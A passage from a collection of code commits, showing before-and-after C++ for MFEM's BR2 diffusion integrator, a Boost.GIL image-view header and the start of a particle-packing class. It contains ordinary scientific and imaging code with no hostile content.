shape2.SetSize(ndof2);\n      R12.SetSize(ndof1, ndof2);\n      R21.SetSize(ndof2, ndof1);\n      R22.SetSize(ndof2, ndof2);\n      M2inv.data = &Minv[Minv_offsets[Trans.Elem2No]];\n      M2inv.ipiv = &ipiv[ipiv_offsets[Trans.Elem2No]];\n\n      R12 = 0.0;\n      R21 = 0.0;\n      R22 = 0.0;\n\n      Geometry::Type geom2 = Trans.Elem2->GetGeometryType();\n      factor = std::max(factor, double(Geometries.NumBdr(geom2)));\n   }\n   else\n   {\n      ndof2 = 0;\n   }\n\n   int ndofs = ndof1 + ndof2;\n\n   Re.SetSize(ndofs, ndofs);\n   MinvRe.SetSize(ndofs, ndofs);\n\n   elmat.SetSize(ndofs);\n   elmat = 0.0;\n\n   const IntegrationRule *ir = IntRule;\n   if (ir == NULL)\n   {\n      int order;\n      if (ndof2)\n      {\n         order = 2*std::max(el1.GetOrder(), el2.GetOrder());\n      }\n      else\n      {\n         order = 2*el1.GetOrder();\n      }\n      ir = &IntRules.Get(Trans.FaceGeom, order);\n   }\n\n   for (int p = 0; p < ir->GetNPoints(); p++)\n   {\n      const IntegrationPoint &ip = ir->IntPoint(p);\n      IntegrationPoint eip1, eip2;\n\n      Trans.Loc1.Transform(ip, eip1);\n      el1.CalcShape(eip1, shape1);\n      if (ndof2)\n      {\n         Trans.Loc2.Transform(ip, eip2);\n         el2.CalcShape(eip2, shape2);\n      }\n\n      double q = Q ? Q->Eval(*Trans.Elem1, eip1) : 1.0;\n      double w = sqrt((factor + 1)*eta*q)*ip.weight*Trans.Face->Weight();\n\n      for (int i = 0; i < ndof1; i++)\n      {\n         const double wsi = w*shape1(i);\n         for (int j = 0; j < ndof1; j++)\n         {\n            R11(i, j) += wsi*shape1(j);\n         }\n      }\n\n      if (ndof2)\n      {\n         for (int i = 0; i < ndof2; i++)\n         {\n            const double wsi = w*shape2(i);\n            for (int j = 0; j < ndof1; j++)\n            {\n               R21(i, j) += wsi*shape1(j);\n               R12(j, i) -= wsi*shape1(j);\n            }\n            for (int j = 0; j < ndof2; j++)\n            {\n               R22(i, j) -= wsi*shape2(j);\n            }\n         }\n      }\n   }\n\n   MinvR11 = R11;\n   M1inv.Solve(ndof1, ndof1, MinvR11.Data());\n   for (int i = 0; i < ndof1; i++)\n   {\n      for (int j = 0; j < ndof1; j++)\n      {\n         Re(i, j) = R11(i, j);\n         MinvRe(i, j) = MinvR11(i, j);\n      }\n   }\n\n   if (ndof2)\n   {\n      MinvR12 = R12;\n      MinvR21 = R21;\n      MinvR22 = R22;\n      M1inv.Solve(ndof1, ndof2, MinvR12.Data());\n      M2inv.Solve(ndof2, ndof1, MinvR21.Data());\n      M2inv.Solve(ndof2, ndof2, MinvR22.Data());\n\n      for (int i = 0; i < ndof2; i++)\n      {\n         for (int j = 0; j < ndof1; j++)\n         {\n            Re(ndof1 + i, j) = R21(i, j);\n            MinvRe(ndof1 + i, j) = MinvR21(i, j);\n\n            Re(j, ndof1 + i) = R12(j, i);\n            MinvRe(j, ndof1 + i) = MinvR12(j, i);\n         }\n         for (int j = 0; j < ndof2; j++)\n         {\n            Re(ndof1 + i, ndof1 + j) = R22(i, j);\n            MinvRe(ndof1 + i, ndof1 + j) = MinvR22(i, j);\n         }\n      }\n   }\n\n   \/\/ Compute the matrix associated with (r_e([u]), r_e([u])).\n   \/\/ The matrix for r_e([u]) is `MinvRe`, and so we need to form the product\n   \/\/ `(MinvRe)^T M MinvRe`. Using `Minv^T M = Minv M = I`, we obtain\n   \/\/ `Re^T MinvRe`.\n   MultAtB(Re, MinvRe, elmat);\n}\n\n}\n<commit_msg>Take average of coefficient across face in BR2 integrator<commit_after>\/\/ Copyright (c) 2010-2021, Lawrence Livermore National Security, LLC. Produced\n\/\/ at the Lawrence Livermore National Laboratory. All Rights reserved. See files\n\/\/ LICENSE and NOTICE for details. LLNL-CODE-806117.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability visit https:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the BSD-3 license. We welcome feedback and contributions, see file\n\/\/ CONTRIBUTING.md for details.\n\n#include \"bilininteg.hpp\"\n#include \"pfespace.hpp\"\n#include <algorithm>\n\nnamespace mfem\n{\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace &fes, double e) : eta(e), Q(NULL)\n{\n   PrecomputeMassInverse(fes);\n}\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace &fes, Coefficient &Q_, double e) : eta(e), Q(&Q_)\n{\n   PrecomputeMassInverse(fes);\n}\n\nDGDiffusionBR2Integrator::DGDiffusionBR2Integrator(\n   FiniteElementSpace *fes, double e) : eta(e), Q(NULL)\n{\n   PrecomputeMassInverse(*fes);\n}\n\nvoid DGDiffusionBR2Integrator::PrecomputeMassInverse(FiniteElementSpace &fes)\n{\n   MFEM_VERIFY(fes.IsDGSpace(),\n               \"The BR2 integrator is only defined for DG spaces.\");\n   \/\/ Precompute local mass matrix inverses needed for the lifting operators\n   \/\/ First compute offsets and total size needed (e.g. for mixed meshes or\n   \/\/ p-refinement)\n   int nel = fes.GetNE();\n   Minv_offsets.SetSize(nel+1);\n   ipiv_offsets.SetSize(nel+1);\n   ipiv_offsets[0] = 0;\n   Minv_offsets[0] = 0;\n   for (int i=0; i<nel; ++i)\n   {\n      int dof = fes.GetFE(i)->GetDof();\n      ipiv_offsets[i+1] = ipiv_offsets[i] + dof;\n      Minv_offsets[i+1] = Minv_offsets[i] + dof*dof;\n   }\n\n#ifdef MFEM_USE_MPI\n   \/\/ When running in parallel, we also need to compute the local mass matrices\n   \/\/ of face neighbor elements\n   ParFiniteElementSpace *pfes = dynamic_cast<ParFiniteElementSpace *>(&fes);\n   if (pfes != NULL)\n   {\n      ParMesh *pmesh = pfes->GetParMesh();\n      pfes->ExchangeFaceNbrData();\n      int nel_nbr = pmesh->GetNFaceNeighborElements();\n      Minv_offsets.SetSize(nel+nel_nbr+1);\n      ipiv_offsets.SetSize(nel+nel_nbr+1);\n      for (int i=0; i<nel_nbr; ++i)\n      {\n         int dof = pfes->GetFaceNbrFE(i)->GetDof();\n         ipiv_offsets[nel+i+1] = ipiv_offsets[nel+i] + dof;\n         Minv_offsets[nel+i+1] = Minv_offsets[nel+i] + dof*dof;\n      }\n      nel += nel_nbr;\n   }\n#endif\n   \/\/ The final \"offset\" is the total size of all the blocks\n   Minv.SetSize(Minv_offsets[nel]);\n   ipiv.SetSize(ipiv_offsets[nel]);\n\n   \/\/ Assemble the local mass matrices and compute LU factorization\n   MassIntegrator mi;\n   for (int i=0; i<nel; ++i)\n   {\n      const FiniteElement *fe = NULL;\n      ElementTransformation *tr = NULL;\n      if (i < fes.GetNE())\n      {\n         fe = fes.GetFE(i);\n         tr = fes.GetElementTransformation(i);\n      }\n      else\n      {\n#ifdef MFEM_USE_MPI\n         int inbr = i - fes.GetNE();\n         fe = pfes->GetFaceNbrFE(inbr);\n         tr = pfes->GetParMesh()->GetFaceNbrElementTransformation(inbr);\n#endif\n      }\n      int dof = fe->GetDof();\n      double *Minv_el = &Minv[Minv_offsets[i]];\n      int *ipiv_el = &ipiv[ipiv_offsets[i]];\n      DenseMatrix Me(Minv_el, dof, dof);\n      mi.AssembleElementMatrix(*fe, *tr, Me);\n      LUFactors lu(Minv_el, ipiv_el);\n      lu.Factor(dof);\n   }\n}\n\nvoid DGDiffusionBR2Integrator::AssembleFaceMatrix(\n   const FiniteElement &el1, const FiniteElement &el2,\n   FaceElementTransformations &Trans, DenseMatrix &elmat)\n{\n   int ndof1 = el1.GetDof();\n   shape1.SetSize(ndof1);\n\n   R11.SetSize(ndof1, ndof1);\n   R11 = 0.0;\n   LUFactors M1inv(&Minv[Minv_offsets[Trans.Elem1No]],\n                   &ipiv[ipiv_offsets[Trans.Elem1No]]);\n   LUFactors M2inv;\n\n   double factor = Geometries.NumBdr(Trans.Elem1->GetGeometryType());\n\n   int ndof2;\n   if (Trans.Elem2No >= 0)\n   {\n      ndof2 = el2.GetDof();\n      shape2.SetSize(ndof2);\n      R12.SetSize(ndof1, ndof2);\n      R21.SetSize(ndof2, ndof1);\n      R22.SetSize(ndof2, ndof2);\n      M2inv.data = &Minv[Minv_offsets[Trans.Elem2No]];\n      M2inv.ipiv = &ipiv[ipiv_offsets[Trans.Elem2No]];\n\n      R12 = 0.0;\n      R21 = 0.0;\n      R22 = 0.0;\n\n      Geometry::Type geom2 = Trans.Elem2->GetGeometryType();\n      factor = std::max(factor, double(Geometries.NumBdr(geom2)));\n   }\n   else\n   {\n      ndof2 = 0;\n   }\n\n   int ndofs = ndof1 + ndof2;\n\n   Re.SetSize(ndofs, ndofs);\n   MinvRe.SetSize(ndofs, ndofs);\n\n   elmat.SetSize(ndofs);\n   elmat = 0.0;\n\n   const IntegrationRule *ir = IntRule;\n   if (ir == NULL)\n   {\n      int order;\n      if (ndof2)\n      {\n         order = 2*std::max(el1.GetOrder(), el2.GetOrder());\n      }\n      else\n      {\n         order = 2*el1.GetOrder();\n      }\n      ir = &IntRules.Get(Trans.FaceGeom, order);\n   }\n\n   for (int p = 0; p < ir->GetNPoints(); p++)\n   {\n      const IntegrationPoint &ip = ir->IntPoint(p);\n      IntegrationPoint eip1, eip2;\n\n      Trans.Loc1.Transform(ip, eip1);\n      el1.CalcShape(eip1, shape1);\n\n      double q = Q ? Q->Eval(*Trans.Elem1, eip1) : 1.0;\n      if (ndof2)\n      {\n         Trans.Loc2.Transform(ip, eip2);\n         el2.CalcShape(eip2, shape2);\n         if (Q) { q = 0.5*(q + Q->Eval(*Trans.Elem2, eip2)); }\n      }\n      double w = sqrt((factor + 1)*eta*q)*ip.weight*Trans.Face->Weight();\n\n      for (int i = 0; i < ndof1; i++)\n      {\n         const double wsi = w*shape1(i);\n         for (int j = 0; j < ndof1; j++)\n         {\n            R11(i, j) += wsi*shape1(j);\n         }\n      }\n\n      if (ndof2)\n      {\n         for (int i = 0; i < ndof2; i++)\n         {\n            const double wsi = w*shape2(i);\n            for (int j = 0; j < ndof1; j++)\n            {\n               R21(i, j) += wsi*shape1(j);\n               R12(j, i) -= wsi*shape1(j);\n            }\n            for (int j = 0; j < ndof2; j++)\n            {\n               R22(i, j) -= wsi*shape2(j);\n            }\n         }\n      }\n   }\n\n   MinvR11 = R11;\n   M1inv.Solve(ndof1, ndof1, MinvR11.Data());\n   for (int i = 0; i < ndof1; i++)\n   {\n      for (int j = 0; j < ndof1; j++)\n      {\n         Re(i, j) = R11(i, j);\n         MinvRe(i, j) = MinvR11(i, j);\n      }\n   }\n\n   if (ndof2)\n   {\n      MinvR12 = R12;\n      MinvR21 = R21;\n      MinvR22 = R22;\n      M1inv.Solve(ndof1, ndof2, MinvR12.Data());\n      M2inv.Solve(ndof2, ndof1, MinvR21.Data());\n      M2inv.Solve(ndof2, ndof2, MinvR22.Data());\n\n      for (int i = 0; i < ndof2; i++)\n      {\n         for (int j = 0; j < ndof1; j++)\n         {\n            Re(ndof1 + i, j) = R21(i, j);\n            MinvRe(ndof1 + i, j) = MinvR21(i, j);\n\n            Re(j, ndof1 + i) = R12(j, i);\n            MinvRe(j, ndof1 + i) = MinvR12(j, i);\n         }\n         for (int j = 0; j < ndof2; j++)\n         {\n            Re(ndof1 + i, ndof1 + j) = R22(i, j);\n            MinvRe(ndof1 + i, ndof1 + j) = MinvR22(i, j);\n         }\n      }\n   }\n\n   \/\/ Compute the matrix associated with (r_e([u]), r_e([u])).\n   \/\/ The matrix for r_e([u]) is `MinvRe`, and so we need to form the product\n   \/\/ `(MinvRe)^T M MinvRe`. Using `Minv^T M = Minv M = I`, we obtain\n   \/\/ `Re^T MinvRe`.\n   MultAtB(Re, MinvRe, elmat);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef H_GIL_SIMPLE_VIEW\n#define H_GIL_SIMPLE_VIEW\n\nnamespace boost{ namespace gil{ struct image_view; }}\n\nnamespace gil_simple_view\n{\n\tenum struct channel_type\n\t{\n\t\tbits8  ,\t\/\/  uint8_t\n\t\tbits8s ,\t\/\/   int8_t\n\t\tbits16 ,\t\/\/ uint16_t\n\t\tbits16s,\t\/\/  int16_t\n\t\tbits32 ,\t\/\/ uint32_t\n\t\tbits32s,\t\/\/  int32_t\n\t\tbits32f \t\/\/   double\n\t};\n\t\n\tenum struct color_type\n\t{\n\t\tgray_t   ,\t\/\/ [gray]scale\n\t\talpha_t  ,\t\/\/ [a]rgb\n\t\tred_t    ,\t\/\/ a[r]gb\n\t\tgreen_t  ,\t\/\/ ar[g]b\n\t\tblue_t   ,\t\/\/ arg[b]\n\t\tcyan_t   ,\t\/\/ [c]myk\n\t\tmagenta_t,\t\/\/ c[m]yk\n\t\tyellow_t ,\t\/\/ cm[y]k\n\t\tblack_t   \t\/\/ cmy[k]\n\t};\n\t\n\tnamespace color_space_type\n\t{\n\t\tstd::vector<color_type> gray({ color_type::gray_t });\n\t\tstd::vector<color_type> rgb ({ color_type::red_t  , color_type::green_t  , color_type::blue_t  });\n\t\tstd::vector<color_type> bgr ({ color_type::blue_t , color_type::green_t  , color_type::red_t   });\n\t\tstd::vector<color_type> argb({ color_type::alpha_t, color_type::red_t    , color_type::green_t , color_type::blue_t  });\n\t\tstd::vector<color_type> abgr({ color_type::alpha_t, color_type::blue_t   , color_type::green_t , color_type::red_t   });\n\t\tstd::vector<color_type> rgba({ color_type::red_t  , color_type::green_t  , color_type::blue_t  , color_type::alpha_t });\n\t\tstd::vector<color_type> bgra({ color_type::blue_t , color_type::green_t  , color_type::red_t   , color_type::alpha_t });\n\t\tstd::vector<color_type> cmyk({ color_type::cyan_t , color_type::magenta_t, color_type::yellow_t, color_type::black_t };\n\t}\n\t\n\tstruct simple_view\n\t{\n\t\tchannel_type channel;\n\t\tstd::vector<color_type> color_space;\n\t\tboost::gil::image_view* src_view;\n\t};\n\t\n\t\/\/ check channel type bit-wise\n\tbool is_8bit      (simple_view& v);\n\tbool is_16bit     (simple_view& v);\n\tbool is_32bit     (simple_view& v);\n\t\n\t\/\/ check channel type representation-wise\n\tbool is_unsigned  (simple_view& v);\n\tbool is_signed    (simple_view& v);\n\tbool is_float     (simple_view& v);\n\t\n\t\/\/ check color space type disregarding the order\n\tbool is_grayscale (simple_view& v);\n\tbool is_rgb       (simple_view& v);\n\tbool is_argb      (simple_view& v);\n\tbool is_cmyk      (simple_view& v);\n\t\n\t\/\/ create a simple_view from a boost::gil view\n\ttemplate<typename T> simple_view create_simple_view (T& v);\n\t\n\ttemplate<typename L> simple_view create_simple_view (boost::gil::image_view<L>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<gray8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<gray32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<rgb8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgb32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<bgr8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgr32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<argb8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<argb32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<abgr8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<abgr32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<rgba8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<rgba32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<bgra8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<bgra32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk8_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk8s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk16_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk32_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<cmyk32f_loc_t>& v);\n\t\n}\n\n#endif\n<commit_msg>Added include & namespace::scope<commit_after>#ifndef H_GIL_SIMPLE_VIEW\n#define H_GIL_SIMPLE_VIEW\n#include \"boost\/gil\/gil_all.hpp\"\n\nnamespace gil_simple_view\n{\n\tenum struct channel_type\n\t{\n\t\tbits8  ,\t\/\/  uint8_t\n\t\tbits8s ,\t\/\/   int8_t\n\t\tbits16 ,\t\/\/ uint16_t\n\t\tbits16s,\t\/\/  int16_t\n\t\tbits32 ,\t\/\/ uint32_t\n\t\tbits32s,\t\/\/  int32_t\n\t\tbits32f \t\/\/   double\n\t};\n\t\n\tenum struct color_type\n\t{\n\t\tgray_t   ,\t\/\/ [gray]scale\n\t\talpha_t  ,\t\/\/ [a]rgb\n\t\tred_t    ,\t\/\/ a[r]gb\n\t\tgreen_t  ,\t\/\/ ar[g]b\n\t\tblue_t   ,\t\/\/ arg[b]\n\t\tcyan_t   ,\t\/\/ [c]myk\n\t\tmagenta_t,\t\/\/ c[m]yk\n\t\tyellow_t ,\t\/\/ cm[y]k\n\t\tblack_t   \t\/\/ cmy[k]\n\t};\n\t\n\tnamespace color_space_type\n\t{\n\t\tstd::vector<color_type> gray({ color_type::gray_t });\n\t\tstd::vector<color_type> rgb ({ color_type::red_t  , color_type::green_t  , color_type::blue_t  });\n\t\tstd::vector<color_type> bgr ({ color_type::blue_t , color_type::green_t  , color_type::red_t   });\n\t\tstd::vector<color_type> argb({ color_type::alpha_t, color_type::red_t    , color_type::green_t , color_type::blue_t  });\n\t\tstd::vector<color_type> abgr({ color_type::alpha_t, color_type::blue_t   , color_type::green_t , color_type::red_t   });\n\t\tstd::vector<color_type> rgba({ color_type::red_t  , color_type::green_t  , color_type::blue_t  , color_type::alpha_t });\n\t\tstd::vector<color_type> bgra({ color_type::blue_t , color_type::green_t  , color_type::red_t   , color_type::alpha_t });\n\t\tstd::vector<color_type> cmyk({ color_type::cyan_t , color_type::magenta_t, color_type::yellow_t, color_type::black_t };\n\t}\n\t\n\tstruct simple_view\n\t{\n\t\tchannel_type channel;\n\t\tstd::vector<color_type> color_space;\n\t\tboost::gil::image_view* src_view;\n\t};\n\t\n\t\/\/ check channel type bit-wise\n\tbool is_8bit      (simple_view& v);\n\tbool is_16bit     (simple_view& v);\n\tbool is_32bit     (simple_view& v);\n\t\n\t\/\/ check channel type representation-wise\n\tbool is_unsigned  (simple_view& v);\n\tbool is_signed    (simple_view& v);\n\tbool is_float     (simple_view& v);\n\t\n\t\/\/ check color space type disregarding the order\n\tbool is_grayscale (simple_view& v);\n\tbool is_rgb       (simple_view& v);\n\tbool is_argb      (simple_view& v);\n\tbool is_cmyk      (simple_view& v);\n\t\n\t\/\/ create a simple_view from a boost::gil view\n\ttemplate<typename T> simple_view create_simple_view (T& v);\n\t\n\ttemplate<typename L> simple_view create_simple_view (boost::gil::image_view<L>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::gray32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgb32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgr32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::argb32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::abgr32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::rgba32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::bgra32f_loc_t>& v);\n\t\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk8_loc_t  >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk8s_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk16_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk16s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk32_loc_t >& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk32s_loc_t>& v);\n\tsimple_view create_simple_view (boost::gil::image_view<boost::gil::cmyk32f_loc_t>& v);\n\t\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\r\n#include <omp.h>\r\n\r\n#include \"structuredPack.h\"\r\n#include \"packer.h\"\r\n#include \"..\/boundingBox.h\"\r\n#include \"..\/shape.h\"\r\n\r\n\r\nStructuredPack::StructuredPack(Packer *packer)\r\n{\r\n  std::cout << \"Initializing StructuredPack...\" << std::flush;\r\n  this->packer = packer;\r\n  this->len = packer->len;\r\n\r\n  dim = 3;\r\n  if(len[2] < 2) dim = 2;\r\n\r\n  state = new int[len[0]*len[1]*len[2]];\r\n  pos = new double[len[0]*len[1]*len[2]*dim];\r\n\r\n  if(dim>2)\r\n  {\r\n    #pragma omp parallel for schedule(static)\r\n    for(long k=0; k<len[2]; k++){\r\n      for(long j=0; j<len[1]; j++){\r\n        for(long i=0; i<len[0]; i++){\r\n          state[ID(i,j,k)] = 0;\r\n        }\r\n      }\r\n    }\r\n  } else {\r\n    for(long k=0; k<len[2]; k++){\r\n      #pragma omp parallel for schedule(static)\r\n      for(long j=0; j<len[1]; j++){\r\n        for(long i=0; i<len[0]; i++){\r\n          state[ID(i,j,k)] = 0;\r\n        }\r\n      }\r\n    }\r\n  }\r\n\r\n  numParticles = 0;\r\n\r\n  positions = NULL;\r\n  states = NULL;\r\n\r\n  std::cout << \" complete\" << std::endl;\r\n}\r\n\r\nStructuredPack::~StructuredPack()\r\n{\r\n  delete [] state;\r\n  delete [] pos;\r\n  if(!positions) delete [] positions;\r\n  if(!states) delete [] states;\r\n}\r\n\r\nlong* StructuredPack::GetIntLength()\r\n{\r\n  return len;\r\n}\r\n\r\nint* StructuredPack::GetState()\r\n{\r\n  return state;\r\n}\r\n\r\ndouble* StructuredPack::GetPos()\r\n{\r\n  return pos;\r\n}\r\n\r\nlong StructuredPack::ID(long i, long j, long k)\r\n{\r\n  return i+j*len[0]+k*len[0]*len[1];\r\n}\r\n\r\nlong StructuredPack::DimID(long thisDim,long i, long j, long k)\r\n{\r\n  return thisDim+i*dim+j*dim*len[0]+k*dim*len[0]*len[1];\r\n}\r\n\r\nvoid StructuredPack::Process()\r\n{\r\n  MapShapes();\r\n  numParticles = ComputeNumParticles();\r\n  positions = CreatePositions();\r\n  states = CreateStates();\r\n\r\n  std::cout << \"Processing StructuredPack...complete (\" << numParticles << \" particles)\" << std::endl;;\r\n}\r\n\r\nvoid StructuredPack::MapShape(Shape *shape)\r\n{\r\n  BoundingBox *bb = shape->boundingBox;\r\n\r\n  \/\/ Convert to StructuredPack indexes\r\n  long *p1 = new long[3];\r\n  long *p2 = new long[3];\r\n\r\n  